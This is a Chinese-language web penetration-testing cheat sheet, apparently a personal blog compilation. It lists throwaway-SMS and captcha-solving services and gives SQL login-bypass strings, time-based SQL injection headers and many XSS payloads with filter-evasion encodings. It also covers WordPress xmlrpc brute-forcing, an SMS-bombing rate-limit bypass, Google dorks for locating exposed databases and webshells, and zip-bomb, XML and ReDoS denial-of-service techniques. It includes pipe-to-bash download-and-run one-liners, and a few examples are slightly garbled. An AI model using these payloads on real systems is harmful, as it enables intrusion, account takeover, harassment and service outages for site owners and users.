杂项知识汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
验证码相关
手机短信接码
-
国内平台
https://www.pdflibr.com
https://www.visitorsms.com/cn
https://www.becmd.com
http://www.114sim.com
https://yunduanxin.net
http://www.smszk.com
http://z-sms.com
http://www.shejiinn.com
https://sms.cngrok.com -
国外平台
https://ch.freephonenum.com
https://smsreceivefree.com
https://zh.mytrashmobile.com
https://www.receive-sms-online.info
https://receiveasms.com
https://sms-online.co/receive-free-sms
https://receive-sms.com
http://www.tay8.com/
http://www.51ym.me/
http://www.eobzz.com/newsUpPage/API.html
http://47.90.98.47:9000/index.html
http://www.xunma.net/Login.html
http://www.ixinsms.com/
http://www.mili02.com:9000/
http://www.lema.pw/
http://ma.d4z.cn/
http://www.baiwanma.com/
http://114.55.24.232/
http://soft.hellotrue.com/
http://www.shjmpt.com:8000/
http://120.26.100.114:8888/ (以前的卓码, 捷码)
http://www.6tudou.com:9000/download.html
http://www.tianma168.com/
http://www.ema666.com/
http://yemapt.com/web/index.html
http://www.baiwanma.com/
http://www.yunsu01.com/
语音验证码
-
外星码
http://www.waixing.website
-
星辰码
http://www.xingchenma.com:9000/
-
星空码
http://www.xk-yzm.com/
-
60
码http://www.60ma.net/
-
Thewolf
码http://www.yyyzmpt.com/
自动打码
-
若快
http://www.ruokuai.com/
-
超人
http://www.chaorendama.com/
-
联众
https://www.jsdati.com/
渗透文章总结(按类型分类)
SSRF漏洞
-
SSRF
形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。www.baidu,com/xxx.php?image=URL
www.baidu.com就会请求URL的地址然后把URL的内容呈现给你
代码审计
-
PHP
代码安全文章讲了各种函数的缺陷以及绕过方法
https://blog.csdn.net/wy_97/article/details/79088218
SQL常规注入
-
SQL
注入学习资料总结hn3ya大佬的总结,一个字香!
https://www.cnblogs.com/hnsya/p/9370081.html -
SqlMapTamper
详解及使用指南https://blog.csdn.net/wn314/article/details/78872828
-
Sqlmap
中文手册文章里面讲的应该是我所能找到最详细的了
https://blog.csdn.net/wy_97/article/details/79088218 -
SQLMAP API
对API进行了详细的讲解
https://www.freebuf.com/articles/web/204875.html -
pentestmonkey
覆盖了几乎所有数据库的文章
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet -
一篇文章带你深入理解
SQL
盲注这篇文章对盲注讲解的挺不错的
https://www.anquanke.com/post/id/170626 -
mysql
注入新姿势利用hex和conv来注入
https://www.cnblogs.com/Mrsm1th/p/6842300.html
header
-
HTTP
响应头和请求头信息对照表里面对header头有详细的对应讲解,贼好用
http://tools.jb51.net/table/http_header
WAF
-
WAF
绕过思路http://drops.xmd5.com/static/drops/tips-7883.html
内网渗透
-
九种姿势运行
Mimikatz
文章距离我发博客以及过了1年了,绕过360已经不可能了但是姿势可以学习
https://www.freebuf.com/articles/web/176796.html -
Beef-XSS+Sunny-Ngrok
实现内网穿透脑洞挺不错,值得学习
https://www.freebuf.com/articles/web/207259.html
后渗透
-
渗透之权限维持杂谈
里面介绍了Windows 和linux 的计划任务,开机启动,后门维权,有几个脑洞还不错
https://www.anquanke.com/post/id/171891 -
反弹
Shell
总结适合刚入门的新手
https://www.freebuf.com/articles/system/178150.html -
Netcat
反弹Shell
详解对Netcat做了详细用法介绍
https://ascotbe.github.io/2019/08/19/Netcat%E5%8F%8D%E5%BC%B9Shell%E8%AF%A6%E8%A7%A3/
分享学习资料
-
DEFCON
DEFCON的资料分享网站
https://media.defcon.org
工具库汇总
火狐浏览器插件
-
Disable JavaScript
禁用网站的js
-
HackBar
URL头部窗口可以进行URL加解密之类的信息,安装后会在F12里面
-
Hoxx VPN Proxy
VPN代理万一SSR免费账号没办法用了就用这个网页版的进行访问
谷歌浏览器插
-
Adblock Plus
免费的广告拦截器
-
Ghostery
隐私广告拦截工具
Adblock Plus
+Ghostery
天下无敌 -
EditThisCookie
EditThisCookie
是一个cookie
管理器。您可以添加,删除,编辑,搜索,锁定和屏蔽cookies
! -
云盘万能钥匙
百分之90的需要钥匙的百度网盘链接都不需要输入秘钥
-
Imagus
自动加载网页URL里面的原图,用html语句缩小的图片加载正常大小
-
Google
翻译不多BB就是吹爆
-
Image Downloader
一键下载当前页面的图片
-
Tampermonkey
里面又各种
JS
脚本贼好用
内网渗透
-
Mimikatz
运行能看
Windows
登录的账号密码,以及hash
值等等。相关绕过在Web
渗透分类的内网渗透里面
FUZZ
-
cupp
cupp社工字典生成项目
https://github.com/Mebus/cupp.git -
在线社工字典生成
http://tools.mayter.cn/
在线社工密码字典生成网站
网页相关工具
-
JSFinder
在网站的JS文件中提取URL子域名的工具
https://github.com/Threezh1/JSFinder
漏洞相关
-
Vulhub
搜索漏洞对应的CVE编号
http://cve.scap.org.cn -
Nist
国外的漏洞查询库
https://nvd.nist.gov
杂项工具
-
在线工具集合
里面超多工具各种前端,编码,IP相关,DNS等等的集合
https://tool.lu/index.html -
CTFtools
CTF常用的工具库
https://www.ctftools.com/down/ -
Python
渗透库里面有很多渗透相关的库文件,相对挺全的。
https://blog.csdn.net/qq_33020901/article/details/74536171
Burp
-
Burp
扩展插件里面的插件是真的多,总有一个能瞒住你的需求
https://github.com/snoopysecurity/awesome-burp-extensions
破解加密
-
colab
Google免费试用GPU破解嘻哈值
https://colab.research.google.com 目标网址
https://www.freebuf.com/geek/195453.html 试用介绍 -
暴力破解工具汇总
https://www.freebuf.com/sectool/195910.html
-
免费帐号无法访问绕过方法
应急响应
Linux
-
应急响应常用命令笔记
自己写的笔记
https://ascotbe.github.io/2019/08/12/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94Linux%E7%AF%87/ -
轻松了解
web
日志分析过程里面有Apache Logs Viewe工具的详细用法
https://mp.weixin.qq.com/s/Z23aIuocXUKWOHuEloS15Q
Windows
-
系统日志
里面讲了日志相关介绍,日志分析,被删文件如何恢复
https://www.freebuf.com/vuls/175560.html -
Windows
注册表取证分析文章讲了如何对注册列表进行取证
https://www.anquanke.com/post/id/169435 -
应急响应处置流程
Windows应急响应的大致流程介绍
https://www.freebuf.com/articles/network/203494.html
渗透姿势总结
域名信息收集
-
你需要知道哪些
domain
是该公司的,主要通过手工来查看网站的关于页面/网站地图
whois反查
一些网站里面的跳转请求(也可以关注一下app)
还有就是百度,有些会在title 和 copyright信息里面出现该公司的信息
网站html源码:主要就是一些图片、js、css等,也会出现一些域名(源码里面惊喜巨他妈多有时候测试账号都会有
apk反编译源码里面 -
搜集域名和
mail
地址利用Google语法
搜集敏感文件:site:xxx.com filetype:doc
搜集管理后台:site:xxx.com 管理/site:xxx.com admin/site:xxx.com login
搜集mail:site:xxx.com intext:@xxx.com/intext:@xxx.com
搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php -
Google Hacking
信息刺探的攻与防文章有语法详情和一些奇淫技巧,值得学习
https://www.freebuf.com/articles/network/169601.html
敏感信息收集
-
大致的方法如下
github源代码:网上有工具(https://github.com/repoog/GitPrey)
svn信息泄漏:这个只能用扫描器了
敏感文件:比如数据库配置文件啦、网站源码啊、数据库备份文件等等
敏感目录:网站后台目录/一些登录地址/一些接口目录
email:邮箱命名规则、公司是否具有邮箱默认密码。
员工号:很多oa、um、sso系统都是采用员工号登录的,所以知道员工号的规则很多时候能帮助我们进行撞库。
商家信息:如果是一些具有商家系统的,能收集到一些商家账户(可以注册)就可以进入很多系统来测试了。
购物漏洞挖掘思路
-
首先我们要选择
筛选涉及查询(是否可以SQL注入)
加入购物车:商品数量是否可以为负 -
询问商家
跳转客服系统,跳转url中是否含有用户参数
xss打客服cookie
钓鱼+社工 -
下单
填地址,涉及插入(注入)、xss
修改单价
修改总额
这里说明一下修改总额:
情况1,就是我们可能会遇到可以使用优惠卷的情况,比如我们买了100的东西只能使用5块的优惠价,但是我有一张50的优惠卷是否可以使用;
情况2,打折我们是否可以修改打折的折扣;
情况3,我们是否可以修改运费,将运费改为负数; -
备注
xss,sql注入
-
电子票据
会有越权查看等问题
-
支付
传输过程中是否可以修改,如果是扫描二维码支付,我们可以分析一下二维码中的请求url看是否可以修改以后重新生成二维码
-
订单完成
是否可以遍历订单
-
评价
注入、上传图片、xss
Header头注入
HOST注入
密码重置的中毒
提交找回密码表单,篡改其中的host头值。 |
当用户收到密码重置邮件后,发现是钓鱼者的网址,且秘钥令牌也已参数id的形式传给给攻击者,此时攻击者可以直接使用受害者的令牌进行密码重置。 |
XSS
有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。 |
X-Forwarded-For注入
大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。 |
X-Forwarded-For通过这个字段我们可以控制绕过ip的限制,但是当我们去绕过ip限制的时候ip会带入数据库去查询,这点我们是不是可以尝试一下sql注入。 |
User-Agent注入
-
就放个
header
头文件,大家一看应该就懂了例1
GET /
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6例2
GET /index.php?do=login
Host: localhost
User-Agent: Anka9080',(select(sleep(5))))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
Connection: keep-alive
短信轰炸
如果抓包重放还是无法绕过时间限制的话可以在抓包的手机号后面添加:\\n
空格等特殊字符来实现绕过限制(无限\n
叠加
比如下面这个网站发送一个就要等1分钟
如果在后面加上空格就可以发送成功,然后无限加空格就能进行爆破了,可以看返回包的date
数据结果为1分钟之内的
登录后台绕过
利用万能密码
-
Asp/Aspx
万能密码'or'='or'
'or 1=1\--
''or 1=1\--
'or'a'='a
"or "a"="a
"or"="a'='a
')or('a'='a
or 1=1\--
a'or' 1=1\--
"or"="a'='a
'or''='
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a -
PHP
万能密码'or'='or'
'or 1=1/* 字符型 GPC是否开都可以使用 -
JSP
万能密码1'or'1'='1
0×02 抓取返回包绕过
验证码绕过
0x01 图片验证
如果是像google或者12306那种的图片验证码可以使用百度识图+google识图来识别绕过 |
0x02 参数绕过
如果有什么奇怪的参数不妨修改下,比如说true,-1,0,yes之类的参数不妨修改下说不定有奇效 |
0x03 Cookie绕过
很多网站多次错误需要输入验证码的判断却源于cookie,很多是通过sessionid判断的 |
0x04 Url参数绕过
有些网站如果你多次爆破就会出现验证码,但是有些会在Url里面多出某些参数 |
0x05 返回包绕过
具体和渗透姿势总结->登录后台绕过里面->抓取返回包绕过相似 |
0x06 空验证码绕过
这个我没遇到过,听大佬说是应为代码逻辑的问题 |
0x07 常见的思路
- 验证码存在返回包中(手机验证码也遇到过存在返回包中的
- 验证码当做摆设(输不输入都没用
- 验证码是以加密数据包形式从服务器返回,不是以图片的形式(之前有一个大厂就是这操作,直接抓取解密爆破一气呵成
- 验证码在客户端生,然后和数据包一起发给后端验证(这开发的思路很迷
- 验证码可重用(前一个验证码后端没有做销毁,导致的重复利用
- 验证码出现基于IP出现的(换代理IP爆破,这种挺多的迷的很
- 验证码返回包改为溢出的数,他就会默认登录数据库第一个账号
- 验证码实时验证(这开发脑洞我真的服的一台糊涂生怕别人爆破不了自家后台,具体看下图
无过滤下的XSS执行
<scirpt>
<scirpt>alert("xss");</script> |
<img>
<img src=1 onerror=alert("xss");> |
<input>
<input onfocus="alert('xss');"> |
<details>
<details ontoggle="alert('xss');"> |
<svg>
<svg onload=alert("xss");> |
<select>
<select onfocus=alert(1)></select> |
<iframe>
<iframe onload=alert("xss");></iframe> |
<video>
<video><source onerror="alert(1)"> |
<audio>
<audio src=x onerror=alert("xss");> |
<body>
<body/onload=alert("xss");> |
<textarea>
<textarea onfocus=alert("xss"); autofocus> |
<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐 |
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以 |
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE |
<link>
利用link远程包含js文件 |
JavaScript伪协议
-
<a>标签
<a href="javascript:alert(`xss`);">xss</a>
-
<frame>标签
<iframe src=javascript:alert('xss');></iframe>
-
<img>标签
<img src=javascript:alert('xss')>//IE7以下
-
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
标签内的属性
-
expression属性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下 -
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
有过滤的情况下XSS执行
过滤空格
-
用/代替空格
<img/src="x"/onerror=alert("xss");>
过滤关键字
-
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
-
双写关键字
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
过滤"关键字
-
利用
\
过滤aaaa
的"
,接着是//
注释1
后面的字符串 -
原始的语句
ss=aaaa"+"&from=1"+"¶m="
-
构造的
payload
ss=aaaa"+"&from=1"+"¶m="
-
payload
可以拆分为&ss=aaaa\"+" 工具人参数
&from=1 可控的参数
//"+"¶m=" 注释的参数
字符拼接
-
利用
eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
-
利用
top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
-
有的
waf
可能是用正则表达式去检测是否有xss
攻击,如果我们能fuzz
出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<title><img src=</title>><img src=x onerror="alert(`xss`);">
//因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过
-
提示
XSS 有时候对数据编码不一定要全部编码,编码单个字母或者隔着编码有奇效
宽字符绕过
<scirpt>alert(%c0%22xss%c0%22);</script> -
Unicode
编码绕过<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> -
url
编码绕过<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> -
Ascii
码绕过<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
-
hex
绕过<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
-
八进制
<img src=x onerror=alert('\170\163\163')>
-
base64
绕过<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
-
当括号被过滤的时候可以使用
throw
来绕过><svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
过滤url地址
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> |
使用IP
-
十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
-
八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
-
hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
-
html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
-
使用\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
-
使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度//会自动跳转到百度
XML
账号密码爆破
当看到这个返回值的时候文件类似于http://XXXX/xmlrpc.php
的时候可以使用XML
进行爆破账号密码
-
XML数据格式
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>admin</value></param>
</params>
</methodCall>使用结果如下
POST /xmlrpc.php
Host: XXXXXXXX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 217
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>admin</value></param>
</params>
</methodCall>
利用谷歌语法
googlehack基本语法
-
查看基本情况
inurl:*.asp 返回一些基本信息
site:xx.com 返回所有与该有关的url
link:xx.com 返回所有与该站做了连接的站 -
查找后台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台 -
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx -
查看上传漏洞
site:xx.com inurl:file
site:xx.com inurl:load -
查找注射点
site:xx.com filetype:asp
-
搜索上传点
inurl:<?action=upload.asp
inurl:../..com/upload.asp?action=
Inurl:userManage-Admin.do?tt=
news-News.do?
Inurl:admin.php?action=add
Inurl:editnews.asp?id=
ADODB.connection
site:edu.cn inurl:asp?mdb=
?id=%3c<mdb.action>
"microsoft access driver (*mdb)"
Server.createobject ("adodb.connection")
Upload.php?type=
?action=upfile
?action=pic
?typeid=
inurl:../../../..admin/,..edit../../?..upload../../..
inurl:../web../..db/../..
inurl:../..baoming/..edit/..upload/../..php/
inurl:../../..edit/..upload/../..php/
inurl:../../..edit/..upload/../..asp/
inurl:..news/..admin/../..upload/..
default.asp?Action=
SELECT BOOK1.* FROM BOOK1
ADODB.Recordset
&ErrorMessage=
default.asp?
inurl:..cn/..bm/../..upload/../..asp/
<!--#include file="../inc/AspCms_SettingClass.asp" -->
inurl:save.asp?action=
Upimg.asp?pid=
showimg.asp?id=
add.asp?myid=
filetype:asp site:.cn inurl:upload.asp
filetype:config inurl:web.config inurl:ftp
filetype:aspx site:.cn inurl:export.aspx
filetype:sh inurl:cgi-bin -
搜索管理后台
site:XXX.com intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号
site:XXX.com inurl:login/admin/manage/manager/admin_login/login_admin/system/boss/master
site:XXX.com intitle:管理|后台|登陆| -
搜索上传漏洞
site:XXX.com inurl:file
site:XXX.com inurl:load -
搜索注入点页面
site:XXX.com inurl:php?id=
-
搜索编辑器页面
site:xxxx.com inurl:fck
site:XXXX.com inurl:ewebeditor -
搜索重要文件
site:xxx.com inurl:robots.txt
site:XXX.com filetype:mdb
site:xxx.com filetype:ini
site:xxx.com inurl:txt
site:xxx.com filetype:php
site:xxx.com filetype:asp -
搜索暴库
%3c
%23
site:cn inurl:mdb?Page=
<!--#include File="conn.asp"-->
inurl:<%@( !-- #include= )%>
inurl:./../<dir>/..=config.php
inurl:<%( (Dir = ) )%>
inurl:<%@()%>
inurl:<%( (set=nothing) )%>
inurl:<%@("ADODB.Connection")%>
inurl:<%@("Response.End")%>
inurl:<%@("ADODB.Recordset")%>
inurl:<%@("Microsoft Access Driver"(*.mdb)")%>
inurl:<%@( web.config )%>
inurl:<%@( Server.CreateObject)%>
inurl:<%@( end if )%>
inurl:<%@( Action=Trim(request("Action")) )%>
inurl:<%@( <%=fl.Setup(0)%> )%>
inurl:<%@( (HTTP_REFERER) )%>
inurl:<%( (*.asp) )%>
inur:< %?(" down=*.mdb ")?%>
inurl:<%( re.Pattern= )%>
inurl:<%( set conn=server.createobject )%>
inurl:<%( Referer=re.Replace )%>
inurl:<%( (conn.ConnectionString) )%>
newsadd1.asp?E_BigClassID=
showerr.asp?action=error&message=
Request.ServerVariables -
搜索生成EXCEL文件
$ , # , ' ,% ,^ ,& ,? ,(,) ,<,> , [,] , {,} ,/,\ ,;,:, 常用特殊符号
Action typle get post save getForm value Move send set add del edit upload Messages
40%
%20
%3c
=%3C%25=rs(
%3C%=rc(0)%%3E
%3C%=Rs1(
%3C%=rs(
%3C%=rsn(
%3C%=rs2(
%3C%=(ttt+2)%
%3C%=i%%3E
%3C%=int(pageid-1)%%3E
echo dir
\--with-mysql=
?a[]=%3Ca+href% phpinfo -
杂项
intitle:Password: inurl:aspx
intext:webshell filetype:asp site:cn
intitle:aspxshell filetype:aspx
intitle:webshell filetype:asp
inurl:excel.asp site:cn
intext:高校报名考试 author:数据导出 inurl:asp
filetype:xlsx "密码
外网服务器搭建
-
一键搭建
SSR
wget --no-check-certificate https://freed.ga/github/shadowsocksR.sh; bash shadowsocksR.sh
-
一件搭建
v2rav
bash <(curl -s -L https://git.io/v2ray.sh)
v2rav 客户端
Windows客户端:
Windows系统建议使用V2rayN,界面简洁大气且支持Vmess和Shadowsocks。
安卓客户端:
Mac客户端:
Mac OS X系统建议使用V2rayU,有中文界面且支持vmess/shadowsocks/socks协议。
命令行设置代理
-
CMD
set http_proxy=http://127.0.0.1:10808
set https_proxy=http://127.0.0.1:10808 -
PowerShell
$Env:http_proxy="http://127.0.0.1:10808";
$Env:https_proxy="http://127.0.0.1:10808"; -
Mac
export http_proxy=http://127.0.0.1:1087;export https_proxy=http://127.0.0.1:1087;export ALL_PROXY=socks5://127.0.0.1:1080
查看服务器开了哪些请求
利用OPTIONS参数查看服务器开启了哪些请求
curl -i -X OPTIONS https://www.ascotbe.com |
Web层面上的那些拒绝服务攻击
资源生成大小可控
现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险。
此类场景多为:图片验证码、二维码
实际场景
关注一下接口地址:https://xxx/validcode?w=130&h=53
参数值:w=130&h=53
,我们可以理解为生成的验证码大小长为130,宽为53
可以将w=130
修改为w=130000000000000000
,让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。
图片验证码在登录、注册、找回密码…等功能比较常见:
Zip炸弹
不知道各位有没有听说过Zip炸弹,一个42KB的压缩文件(Zip),解压完其实是个4.5PB
的“炸弹”。
先不说4.5PB
这个惊人的大小,光解压都会占用极大的内存。
该文件的下载地址:https://github.com/Ascotbe/virus/blob/master/ZipBomb/RecursiveBomb.zip
解压这个42.zip
以后会出现16
个压缩包,每个压缩包又包含16
个,如此循环5
次,最后得到16
的5
次方个文件,也就是1048576
个文件,这一百多万个最终文件,每个大小为4.3GB
。
因此整个解压过程结束以后,会得到 1048576 * 4.6 GB = 4508876.8 GB
,也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB
。
通过以上说明,我们可以寻找存在解压功能的Web场景进行拒绝服务攻击,但是这里有一个前置条件就是需要解压并可以递归解压。
那我们想要完成这一攻击就非常的困难了,“前辈”也提到了非递归的Zip炸弹,也就是没有嵌套Zip文件文件的,如下表格:
名称 | 解压结果 |
---|---|
zbsm.zip | 42 kB → 5.5 GB |
zblg.zip | 10 MB → 281 TB |
zbxl.zip | 46 MB → 4.5 PB (Zip64, less compatible) |
存在解压功能的Web场景还是比较多的,可以根据实际业务场景进行寻找。
实际场景
根据实际业务场景发现一处上传模板文件功能,根据简单的测试,发现此处上传Zip文件会自动解压:
这里我选择上传zbsm.zip
上去,看一下服务器反应:
这里整个服务的请求都没有返回结果,成功造成拒绝服务。
XDoS(XML拒绝服务攻击)
XDoS,XML拒绝服务攻击,其就是利用DTD产生XML炸弹,当服务端去解析XML文档时,会迅速占用大量内存去解析,下面我们来看几个XML文档的例子。
Billion Laughs
据说这被称为十亿大笑DoS攻击,其文件内容为:
|
这是一段实体定义,从下向上观察第一层发现key9
由10个key8
组成,由此类推得出key[n]
由10个key[n-1]
组成,那么最终算下来实际上key9
由10^9
(1000000000)个key[..]
组成,也算是名副其实了~
本地测试解析该XML文档,大概占用内存在2.5GB左右(其他文章中出现的均为3GB左右内存):
试想:这只是9层级炸弹,如果再多一点呢?
External Entity
外部实体引用,文档内容如下:
|
这个理解起来就很简单了,就是从外部的链接中去获取解析实体,而我们可以设置这个解析URL为一个超大文件的下载地址,以上所举例就是微信的。
当然,我们也可以设置一个不返回结果的地址,如果外部地址不返回结果,那么这个解析就会在此处一直挂起从而占用内存。
Internal Entity
内部实体引用,文档内容如下:
|
其意思就是实体a
的内容又臭又长,而后又N次引用这个实体内容,这就会造成解析的时候占用大量资源。
实际场景
一开始通过此处上传doc
文档的功能,发现了一枚XXE注入
,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM
关键词,没办法通过带外通道读取敏感数据了~
抱着试一试的心态将Billion Laughs
的Payload
放入到doc
文档中(这里与XXE doc文档
制作方式一样修改[Content_Types].xml
文件,重新打包即可):
上传之后产生的效果就是网站延时极高,至此就完成了整个测试。
ReDoS(正则表达式拒绝服务攻击)
ReDoS,正则表达式拒绝服务攻击,顾名思义,就是由正则表达式造成的拒绝服务攻击,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。
在正式了解ReDoS之前,我们需要先了解一下正则表达式的两类引擎:
名称 | 区别 | 应用 | 匹配方式 |
---|---|---|---|
DFA | DFA对于文本串里的每一个字符只需扫描一次,速度快、特性少 | awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail… | 文本比较正则 |
NFA | NFA要翻来覆去标注字符、取消标注字符,速度慢,但是特性(如:分组、替换、分割)丰富 | GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi… | 正则比较文本 |
文本比较正则:看到一个子正则,就把可能匹配的文本全标注出来,然后再看正则的下一个部分,根据新的匹配结果更新标注。
正则比较文本:看见一个字符,就把它跟正则比较,匹配就标注下来,然后接着往下匹配。一旦不匹配,就忽略这个字符,以此类推,直到回到上一次标注匹配的地方。
那么存在ReDoS的核心就是NFA正则表达式引擎,它的多模式会让自身陷入递归险境,从而导致占用大量CPU资源,性能极差,严重则导致拒绝服务。
NFA 回溯
简单的聊一下什么是回溯,这里有一个正则表达式:
ke{1,3}y |
其意图很简单,e
字符需要匹配1-3次,k
、y
匹配一次即可。
现在我们遇到了两个需要匹配的字符串:
- keeey
- key
字符串keeey
的匹配过程是一气呵成的:匹配k
完成之后,完整匹配e
,最后是匹配y
字符串key
的匹配过程就发生了回溯,其匹配过程如下图所示(橙色为匹配,黄色为不匹配):
前两步属于正常,但从第3步开始就不一样了,这里字符串key
已经有一个e
被e{1,3}
匹配,但它不会就此作罢,而会继续向后用正则e{1,3}
匹配字符y
,而当发现字符不匹配后,就忽略该字符,返回到上一次标注匹配的字符e
再进行一次匹配,至此就发生了一次回溯,最后匹配y
结束整个正则匹配过程。
那么为什么会产生回溯呢?这跟NFA的贪婪模式有关(贪婪模式默认是开启的)。
NFA 贪婪
我们想要彻底摸清楚整个过程就要抛根问底,究其原理,所以来了解一下贪婪模式~
根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是:不撞南墙不回头
以下所列的元字符,大家应该都清楚其用法:
i. ?
: 告诉引擎匹配前导字符0次或一次,事实上是表示前导字符是可选的。
ii. +
: 告诉引擎匹配前导字符1次或多次。
iii. *
: 告诉引擎匹配前导字符0次或多次。
iv. {min, max}
: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。
默认情况下,这个几个元字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。
恶意正则表达式
错误的使用以上所列的元字符就会导致拒绝服务的风险,此类称之为恶意的正则表达式,其表现形式为:
- 使用重复分组构造
- 在重复组内会出现:重复、交替重叠
简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分):
(a+)+ |
ReDoS 恶意正则检测
对于复杂的恶意正则表达式,靠人工去看难免有些许费劲,推荐一款工具:https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme
)
该工具支持大批量的正则表达式检测,并给出检测结果。
实际场景
很庆幸的是大多Web脚本语言的正则引擎都为NFA,所以也很方便我们做一些Web层面的挖掘。
做测试的时候大家有没有发现过这样一个逻辑:密码中不能包含用户名
这是一个用户添加的功能,其校验是通过后端的,请求包如下
POST /index/userAdd |
当password
中包含nickname
则提示密码中不能包含用户名
利用Python简单还原一下后端逻辑:
# -*- coding: utf-8 -*- |
这时候用户名是一个正则,密码是一个待匹配字符串,而这时候我们都可以进行控制,也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。
恶意的正则表达式:a(b|c+)+d
字符串(我们要想让其陷入回溯模式就不能让其匹配到,所以使用ac......cx
